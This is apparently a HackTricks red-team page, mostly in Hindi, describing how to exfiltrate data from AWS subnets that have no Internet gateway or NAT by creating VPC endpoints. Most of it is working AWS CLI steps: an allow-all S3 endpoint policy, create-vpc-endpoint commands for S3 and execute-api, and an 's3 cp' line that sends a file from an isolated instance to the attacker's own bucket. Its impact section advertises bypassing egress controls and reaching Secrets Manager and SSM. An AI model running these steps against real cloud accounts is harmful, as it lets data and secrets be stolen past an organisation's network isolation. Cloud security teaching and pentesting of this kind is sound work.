AWS – Isolated Subnets से Egress बाईपास (VPC Endpoints के माध्यम से)

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सारांश

यह तकनीक VPC Endpoints का दुरुपयोग करके उन subnets से exfiltration channels बनाती है जिनमें Internet Gateways या NAT नहीं होते। Gateway endpoints (e.g., S3) subnet route tables में prefix‑list routes जोड़ते हैं; Interface endpoints (e.g., execute-api, secretsmanager, ssm, आदि) reachable ENIs बनाते हैं जिनके private IPs security groups द्वारा संरक्षित होते हैं। न्यूनतम VPC/EC2 permissions के साथ, एक attacker controlled egress सक्षम कर सकता है जो public Internet से होकर नहीं गुजरता।

पूर्वआवश्यकताएँ: मौजूदा VPC और private subnets (no IGW/NAT)। आपको VPC endpoints बनाने की permissions चाहिए होंगी और, Option B के लिए, endpoint ENIs से जोड़ने के लिए एक security group चाहिए होगा।

Option A – S3 Gateway VPC Endpoint

वेरिएबल्स

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • RTB_IDS=<comma-separated route table IDs of private subnets>
  1. एक permissive endpoint policy फ़ाइल बनाएं (वैकल्पिक)। इसे allow-put-get-any-s3.json के रूप में सेव करें:
json
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
  1. S3 Gateway endpoint बनाएं (चयनित route tables में S3 prefix‑list route जोड़ता है):
bash
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json   # optional

कैप्चर करने के लिए साक्ष्य:

  • aws ec2 describe-route-tables --route-table-ids $RTB_IDS AWS S3 prefix list की ओर एक route दिखाता है (उदा., DestinationPrefixListId=pl-..., GatewayId=vpce-...).
  • उन सबनेट्स में किसी instance से (IAM perms के साथ) आप Internet के बिना S3 के माध्यम से exfil कर सकते हैं:
bash
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION

Option B – Interface VPC Endpoint for API Gateway (execute-api)

वेरिएबल्स

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • SUBNET_IDS=<comma-separated private subnets>
  • SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
  1. इंटरफ़ेस endpoint बनाएँ और SG संलग्न करें:
bash
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled

साक्ष्य जो कैप्चर करने हैं:

  • aws ec2 describe-vpc-endpoints दिखाता है कि endpoint available स्थिति में है और NetworkInterfaceIds के साथ (आपके subnets में ENIs)।
  • उन subnets के Instances उन VPCE ENIs के माध्यम से Private API Gateway endpoints तक पहुँच सकते हैं (कोई Internet path आवश्यक नहीं)।

प्रभाव

  • AWS‑managed private paths का उपयोग करके perimeter egress controls को बायपास करता है ताकि AWS services तक पहुँच संभव हो।
  • IGW/NAT के बिना isolated subnets से data exfiltration सक्षम करता है (उदा., S3 पर लिखना; Private API Gateway को कॉल करना; Secrets Manager/SSM/STS, आदि तक पहुँचना)।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें